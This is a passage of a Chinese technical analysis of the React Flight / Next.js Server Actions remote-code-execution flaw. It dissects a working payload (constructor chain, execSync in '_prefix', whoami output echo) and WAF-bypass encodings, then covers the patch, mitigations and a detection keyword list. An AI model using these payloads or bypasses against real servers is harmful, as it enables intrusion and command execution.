字段④:"value": "{\"then\":\"$B1337\"}" --- 嵌套的Chunk值
"value": "{\"then\":\"$B1337\"}"
它做了什么?
这个字段是 Chunk 0 的 value。注意它是一个JSON字符串,不是直接的对象。
当 React 处理 Chunk 0 时,会对其 value 进行 JSON.parse:
// React内部类似这样处理
const parsedValue = JSON.parse(chunk0.value);
// parsedValue = { then: "$B1337" }
为什么用 $B1337?
$B 在 Flight 协议中代表 Blob 类型。$B1337 是一个不存在的 Blob 引用(Chunk ID 1337 不存在)。这个值本身不重要------攻击链的核心逻辑完全由外层的 then、_response._prefix 和 _formData.get 驱动。value 字段只是填充数据,不让 React 在这一步就出错中断。
本质上: value 是一个"烟雾弹",让 Chunk 的数据结构看起来完整,而真正的攻击逻辑藏在 then 和 _response 中。
字段⑤:"_response" --- 伪造的Response引用
"_response": { ... }
它做了什么?
在真实的 React Flight 内部,每个 Chunk 都有一个 _response 属性,指向所属的 Response 对象。Response 对象中存储着:
-
_prefix:某些序列化数据的前缀(会被 eval) -
_chunks:所有 Chunk 的列表 -
_formData:multipart 表单数据对象,带有get()方法
攻击者通过在 JSON 中直接构造 _response 对象,用相同的属性名覆盖了真实的 response 引用。
这是一个关键的设计缺陷: React 在修复前使用普通字符串作为 response 的属性名。JSON 可以任意构造字符串属性,攻击者就能伪造整个 response 结构。
字段⑥:"_prefix" --- ★ 最终被执行的恶意代码 ★
"_prefix": "process.mainModule.require('child_process').execSync('calc.exe');"
这是整个 Payload 中最重要的字段! 这是最终在服务器上被执行的 JavaScript 代码。
它怎么被执行?
在 React 处理 Blob 相关数据时,有一段代码大致如下:
// React Flight 源码简化
// 当处理 response._formData 时,会读取 _prefix
const prefix = response._prefix; // ← 攻击者控制的字符串
const getter = response._formData.get; // ← 攻击者控制的Function构造函数
// 在某些代码路径中,prefix 会被传入 getter:
// 相当于:getter(prefix)
// 展开:Function("process.mainModule.require('child_process').execSync('calc.exe');")
// 然后调用这个新函数 → 代码执行!
关键API解释:
process.mainModule
// Node.js中,process.mainModule指向入口模块(通常是启动文件)
// 通过它可以访问到require函数
.require('child_process')
// 加载Node.js内置的child_process模块
// 这个模块可以创建子进程、执行系统命令
.execSync('calc.exe')
// 同步执行系统命令
// execSync = execute synchronously
// 命令字符串会被传给系统的Shell执行
// Windows: cmd.exe /c calc.exe
// Linux: /bin/sh -c id
字段⑦:"_chunks": [] --- 保持结构合法
"_chunks": []
它做了什么?
Response 对象中的 _chunks 属性在正常情况下是一个数组,存储所有 Chunk 引用。这里设为空数组 [],让 response 结构看起来合法,避免因类型不匹配导致异常。
为什么是空的?
攻击 Payload 只需要两个 Chunk(Chunk 0 和 Chunk 1),它们已经通过 multipart 的 name="0" 和 name="1" 直接创建了,不需要在 _chunks 数组中再声明一遍。设空数组不会影响攻击链。
字段⑧⑨:"_formData" + "get": "$1:constructor:constructor" --- ★ 获取代码执行器 ★
"_formData": {
"get": "$1:constructor:constructor"
}
这是整个 Payload 中第二重要的部分! 它负责获取 Function 构造函数------相当于 JavaScript 的 eval。
解析过程逐步推演:
原始字符串: "$1:constructor:constructor"
Step 1: $1 → 获取 Chunk 1 的 value
Chunk 1 的 value 是 "$@0"
"$@0" → getChunk(0) → Promise<chunk0.value>
所以 $1 解析为 → Promise { <pending> }
这是一个Promise实例!
Step 2: :constructor → Promise实例.constructor
Promise实例的构造函数是谁?
→ Promise 构造函数!
Step 3: :constructor → Promise构造函数.constructor
所有函数的构造函数是谁?
→ Function 构造函数!
在浏览器控制台验证:
// 你可以自己试一下:
const p = Promise.resolve(42);
p.constructor // → function Promise() { [native code] }
p.constructor.constructor // → function Function() { [native code] }
// 验证:
p.constructor.constructor === Function // true
// Function 构造函数可以执行任意代码:
const fn = Function('return 1 + 1');
fn(); // 2
// 所以等价于:
const malicious = Function('process.mainModule.require("child_process").execSync("calc.exe")');
malicious(); // 💥 弹计算器
为什么不直接用 eval?
Flight 协议没有 $eval 这样的前缀。但是通过 $1:constructor:constructor,攻击者利用 JavaScript 的原型链特性,"合法地"拿到了 Function 构造函数------效果和 eval 完全一样。
字段⑩:"$@0" (Chunk 1) --- 整个攻击链的支点
multipart part 2, name="1":
"$@0"
这是整个攻击链中最精妙的一环。 它看似简单------只有四个字符------但它是整个漏洞能够工作的必要条件。
为什么必须要 $@0 而不是 $0?
如果用 $0 (同步):
═══════════════════
Chunk 1 的 value = chunk0.value 直接赋值
chunk0.value = {then: "$1:then", ...} ← 普通对象
chunk1.value.then = undefined ← 普通对象没有then方法!
← constructor链也走不通!
结论:$0 模式下,Chunk 1是普通对象,攻击链断裂。
如果用 $@0 (异步):
════════════════════
Chunk 1 的 value = Promise<chunk0.value>
Promise 实例有自己的原型链!
chunk1.value.then = Promise.prototype.then ← 原生方法存在!
chunk1.value.constructor = Promise ← 构造函数存在!
chunk1.value.constructor.constructor = Function ← 拿到了!
结论:$@0 模式下,Chunk 1 是 Promise 实例,攻击链完整。
对比图:
$0 模式(攻击失败):
┌────────────────────────────┐
│ Chunk 1.value = { │
│ then: "$1:then", │ ← 这是一个普通对象
│ status: "...", │ 没有Promise原型链
│ ... │
│ } │
│ │
│ .then → 字符串 │ ← 不是方法,无法调用
│ .constructor → Object │ ← 普通对象的构造函数是Object
│ .constructor. │
│ constructor → Function │ ← 这也行...但是...
│ │ 但then解析不对,第一步就卡住了
└────────────────────────────┘
$@0 模式(攻击成功):
┌────────────────────────────┐
│ Chunk 1.value = Promise { │
│ <chunk0.value> │ ← 这是一个真正的Promise实例
│ } │ 拥有完整的Promise原型链
│ │
│ .then → 原生方法 │ ← Promise.prototype.then!
│ .constructor → Promise │ ← Promise构造函数
│ .constructor. │
│ constructor → Function │ ← 拿到了!可以执行任意代码!
└────────────────────────────┘
全链路时序回顾
把上面所有字段串起来,按时间顺序看服务器收到 Payload 后发生了什么:
T0: 收到HTTP请求
─────────────────
Next.js检查请求头 "Next-Action: x" → 识别为Server Action
Content-Type: multipart/form-data → 调用 decodeReplyFromBusboy()
T1: 解析 multipart part 1 (name="0")
──────────────────────────────────────
busboy读到字段 → resolveField(response, "0", <JSON字符串>)
→ 创建 Chunk 0
→ chunk0.value = JSON.parse(jsonString)
→ chunk0.value = {
then: "$1:then",
status: "resolved_model",
reason: -1,
value: "{\"then\":\"$B1337\"}",
_response: {
_prefix: "process.mainModule.require('child_process').execSync('calc.exe');",
_chunks: [],
_formData: { get: "$1:constructor:constructor" }
}
}
T2: 解析 multipart part 2 (name="1")
──────────────────────────────────────
busboy读到字段 → resolveField(response, "1", "\"$@0\"")
→ 创建 Chunk 1
→ chunk1.value = "$@0"
→ "$@0" 被解析为 getChunk(0)
→ 返回 Promise<chunk0.value>
→ chunk1.value = Promise { <pending> }
T3: Thenable 触发
──────────────────
React内部消费Chunk:
val = chunk0.value
// val = {then: "$1:then", status: "resolved_model", ...}
JS引擎: "val 有 then 属性 → 这是 Thenable!"
JS引擎: 调用 val.then(engineResolve, engineReject)
React解析 val.then:
"$1:then" → chunk1.value.then
→ Promise.prototype.then (原生方法!)
执行: Promise.prototype.then(engineResolve, engineReject)
结果: 正常返回,engineResolve进入Promise链
T4: 获取 Function 构造函数
───────────────────────────
React处理 _response._formData:
解析 "$1:constructor:constructor":
$1 → chunk1.value = Promise 实例
:constructor → Promise 实例.constructor = Promise 构造函数
:constructor → Promise构造函数.constructor = Function 构造函数
_formData.get = Function ← 拿到了代码执行器!
T5: RCE 触发 💥
────────────────
React处理 _response._prefix:
类似于:
const code = _response._prefix;
// code = "process.mainModule.require('child_process').execSync('calc.exe');"
const fn = _response._formData.get(code);
// fn = Function("process.mainModule.require('child_process').execSync('calc.exe');")
fn();
// 执行系统命令 → calc.exe 被启动!
如果用一句话总结这个 Payload
利用
$@0将 Chunk 1 包装成 Promise 实例 → 通过$1:constructor:constructor拿到 Function 构造函数 → 将_prefix中的恶意代码传入 Function 执行 → RCE。
带回显原理:
process.mainModule.require('child_process').execSync('whoami')
│
▼ 执行系统命令,得到结果(如 "root")
│
▼ .toString().trim() → "root"
│
▼ 构造 NEXT_REDIRECT 错误
│ throw Object.assign(new Error('NEXT_REDIRECT'), {
│ digest: `NEXT_REDIRECT;push;/login?a=root;307;`
│ });
│
▼ Next.js 捕获到这个错误
│
▼ 返回 307 重定向响应
│ Location: /login?a=root
│ ↑ 命令结果在这里!
五、WAF 绕过技术
漏洞公开后,Vercel 的 WAF 很快添加了检测规则。但安全社区在短短几周内就发现了一系列绕过方法。
5.1 Unicode 编码绕过
绕过原理
第一代 WAF 直接匹配字符串 "constructor"。
但 JSON 标准支持 \uXXXX Unicode 转义,JSON.parse 会自动还原:
WAF 看到的: constructor ← 这是6个字符的转义序列
JSON.parse后: constructor ← 还原为原始字符串
Node.js收到的:constructor ← WAF完全没检测到!
实际操作
将 Payload 中的 constructor 替换为:
constructor
↑
c 的 Unicode 编码是 c
// 原版
"_formData": {"get": "$1:constructor:constructor"}
// Unicode绕过版
"_formData": {"get": "$1:constructor:constructor"}
关键点: 如果 WAF 只做纯文本正则匹配,而不过 JSON.parse 规范化,这个绕过就有效。
5.2 UTF-16 Charset 绕过
绕过原理
RFC 7578 规定 multipart/form-data 支持 charset 参数。在 Content-Type 中指定 charset=utf-16 后:
ASCII 字符在 UTF-16 中的编码:
"c" (0x63) → "\x00\x63" (两个字节!)
WAF 搜索 "constructor":
在 UTF-16 字节流中 → "constructor" 每个字符之间多了 \x00
→ "\x00c\x00o\x00n\x00s\x00t\x00r\x00u\x00c\x00t\x00o\x00r"
→ 和 WAF 规则中的 "constructor" 完全不匹配!
对比:
┌─────────────────────────────────────────────────┐
│ UTF-8(正常) │
│ │
│ 字节: 63 6f 6e 73 74 72 75 63 74 6f 72 │
│ 字符: c o n s t r u c t o r │
│ ↑ WAF 能匹配到 "constructor" │
├─────────────────────────────────────────────────┤
│ UTF-16(绕过) │
│ │
│ 字节: 00 63 00 6f 00 6e 00 73 00 74 ... │
│ 字符: c o n s t ... │
│ ↑ WAF 看到的不是连续字符,匹配失败! │
└─────────────────────────────────────────────────┘
实际操作
Burp Suite 中:
-
将 payload 文本转换为 UTF-16 编码
-
选中内容 → Convert Selection → URL → URL-decode
-
修改 Content-Type header:
Content-Type: multipart/form-data; boundary=----WebKit; charset=utf-16
busboy(Next.js 使用的 multipart 解析库)能够正确解码 UTF-16 数据,所以服务器端不受影响。
5.3 嵌套 Chunk 解码绕过
绕过原理
Vercel 的 Seawall 引擎升级后,能够递归进行 JSON 解码来消除 Unicode 编码层。
但 React Flight 协议有一个天然的特性------Chunk 的 value 字段会被自动 JSON.parse 多层:
// value 是一层 JSON 字符串
"value": "{\"then\":\"$B1337\"}"
// React 解析时:JSON.parse(value) → {then: "$B1337"}
// 如果 value 是多层嵌套:
"value": "{\"then\": \"\\u00241:then\", \"value\": \"{\\\"then\\\":\\\"$B1337\\\"}\", ...}"
// React 解析第一层 → {then: "$1:then", value: "{\"then\":\"$B1337\"}"}
// React 解析第二层 → {then: "$B1337"}
// React 解析第三层 → ...
攻击策略
如果 WAF 递归解码 N 层 → 攻击者嵌套 N+1 层 → WAF 的第 N 层还是 Unicode
但 React 解析时自动解了 N+1 层
最终 payload 完整还原
实际嵌套 Payload 示例
{
"then": "$1:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\": \"\\u00241:then\", \"status\": \"resolved_model\", \"reason\": -1, \"value\": \"{\\\"then\\\":\\\"\\u0024B1337\\\"}\", \"_response\": {\"_prefix\": \"恶意代码...\", \"_chunks\": [], \"_formData\": {\"get\": \"$1:\\u005cu0063onstructor:\\u005cu0063onstructor\"}}}",
"_response": {
"_chunks": "$1:_response:_chunks"
}
}
层级关系:
第1层(外层payload)
│
├── then: "$1:then"
├── value: "{\"then\": \"\\u00241:then\", ...}" ← 字符串
│ │
│ ▼ 第一次 JSON.parse(React 自动)
│ 第2层 payload
│ │
│ ├── then: "$1:then"(\\u0024 → $,已解码)
│ ├── value: "{...}" ← 又一层字符串
│ │ │
│ │ ▼ 第二次 JSON.parse(React 自动)
│ │ 第3层 payload
│ │ │
│ │ ├── then: "$B1337"(\\u0024 → $,已解码)
│ │ └── _formData.get: "$1:constructor:constructor"
│ │ (\\u0063 → c,已解码)
│ │
│ └── _response._chunks: "$1:_response:_chunks"
│
└── _response: {...}
Vercel 的最终修复: Seawall 现在会无限递归解码直到 payload 完全标准化,彻底封堵了此类绕过。
5.4 绕过 Multipart 检测
绕过原理
如果 WAF 仅检测 multipart/form-data 格式的请求体,可以改用 application/x-www-form-urlencoded:
POST / HTTP/1.1
Host: target.com
Next-Action: a1b2c3d4e5f6... ← 真实的 hex actionId
Content-Type: application/x-www-form-urlencoded
0=%7B%22then%22%3A%22%241%3A...%7D&1=%22%24%400%22
↑ URL 编码的 payload
但需要满足条件: Next-Action header 中的 actionId 必须是合法的 hex 值(不能像 multipart 绕过那样随便写个 x)。
获取合法 actionId 的方法: 浏览目标页面,查看 HTML 源码中内嵌的 RSC 数据脚本,搜索 actionId 相关字段,找到合法的 hex 标识符。
各绕过方式总结
┌─────────────────────────────────────────────────────────┐
│ WAF 绕过技术总览 │
├──────────────┬────────────────────┬─────────────────────┤
│ 绕过方式 │ 原理 │ WAF 防御难度 │
├──────────────┼────────────────────┼─────────────────────┤
│ Unicode 编码 │ JSON \uXXXX 转义 │ ★☆☆ 容易(规范化解码)│
│ UTF-16 编码 │ 双字节混淆字符串 │ ★★☆ 中等 │
│ 嵌套 Chunk │ 多层 JSON 递归解码 │ ★★★ 困难(需无限递归)│
│ 绕过 multipart│ 改用 URL 编码格式 │ ★☆☆ 容易(检测 header)│
└──────────────┴────────────────────┴─────────────────────┘
六、修复方案与防御建议
React 官方修复机制(PR #35277)
修复的核心改动在 packages/react-server/src/ReactFlightReplyServer.js:
// ============ 修复前 ============
// response 对象的内部属性使用普通字符串 key
// JSON 反序列化可以构造同名属性 → 攻击者可伪造 _response
const response = {
_prefix: "",
_chunks: [],
_formData: { get: fn }
};
// _prefix、_chunks 等使用字符串作为属性名
// 攻击者在 payload JSON 中可以直接写 "_prefix": "恶意代码"
// ============ 修复后 ============
// 使用 Symbol 作为内部 key
// JSON 不支持 Symbol 类型 → 攻击者无法通过 JSON 构造 Symbol key
const RESPONSE_SYMBOL = Symbol();
const response = {
[RESPONSE_SYMBOL]: { // ← Symbol 作为 key
_prefix: "",
_chunks: [],
_formData: { get: fn }
}
};
// JSON.parse('{"_prefix": "恶意代码"}') 无法访问到 Symbol key 的属性
// 攻击链被彻底切断!
为什么 Symbol 能从根本上解决问题?
JSON 规范只支持以下类型:
• 字符串 (string)
• 数字 (number)
• 布尔值 (boolean)
• null
• 数组 (array)
• 对象 (object,key 必须是字符串)
Symbol 不在 JSON 支持的类型中 → JSON.stringify 会忽略 Symbol key
→ JSON.parse 无法创建 Symbol key
→ 攻击者无法通过序列化数据伪造 response 内部属性
升级建议
| 组件 | 建议版本 | 备注 |
|---|---|---|
| Next.js | ≥ 16.0.0 | 包含完整补丁 |
| React | ≥ 19.2.1 | 包含 PR#35277 |
| react-server-dom-webpack | 最新版 | 通过 npm update 升级 |
| react-server-dom-turbopack | 最新版 | 通过 npm update 升级 |
临时缓解措施(适用于无法立即升级的场景)
1. Nginx / CDN 层拦截规则:
# nginx.conf
# 方案A:如果你的应用不需要 Server Actions,直接拦截
location / {
if ($http_next_action) {
return 403;
}
}
# 方案B:限制请求体大小,减少大 payload 攻击面
location / {
client_max_body_size 1m;
}
2. WAF 检测规则(关键词黑名单):
监测请求 Body 中是否同时包含以下模式:
-
"then":"$<数字>:then"结构 -
constructor:constructor及其 Unicode 变体 -
_response+_prefix同时出现 -
process.mainModule/child_process/execSync
3. 最小权限原则:
# 不要以 root 运行 Next.js 应用
# 创建专用低权限用户
useradd -m -s /bin/false nextjs
sudo -u nextjs npm start
# 使用容器时,指定非 root 用户
# Dockerfile:
USER node
4. Node.js 运行时限制:
# 启动时添加安全参数
node --no-node-snapshot \
--disallow-code-generation-from-strings \ # 限制 eval/Function
server.js
⚠️
--disallow-code-generation-from-strings可能会影响 Next.js 的正常功能,请充分测试后再部署。
七、总结
技术层面
-
"特性即漏洞" --- 漏洞利用的不是内存破坏或注入缺陷,而是 JavaScript 和 React Flight 协议的设计特性(Thenable 自动展平 + Chunk 反序列化)。这类问题比传统漏洞更隐蔽,更难通过常规扫描发现。
-
现代框架的复杂性 = 攻击面的扩大 --- Next.js + React 19 + RSC + Flight 协议 + Server Actions,这个技术栈的每一层都引入了新的攻击面。开发者享受开发效率的同时,安全人员面对的是成倍增加的审计难度。
-
协议层面的攻击思维 --- React2Shell 的所有绕过技术(Unicode、UTF-16、嵌套 Chunk)都是在协议层面做文章,不是简单的字符串变形。理解协议才能找到绕过,理解协议才能做好防御。
防御思维
Next.js2Shell 的攻防博弈揭示了一个重要原则:不要依赖"特征匹配"来防御,要从设计层面消除攻击面。
-
Symbol key 的引入,从协议层面让攻击者无法构造
_response引用 -
无限递归 JSON 规范化,从检测层面消除多层编码绕过
-
最小权限运行,从系统层面限制 RCE 的破坏范围
纵深防御(Defense in Depth)------每一层都做防护,任何单点失效都不会导致完全失陷。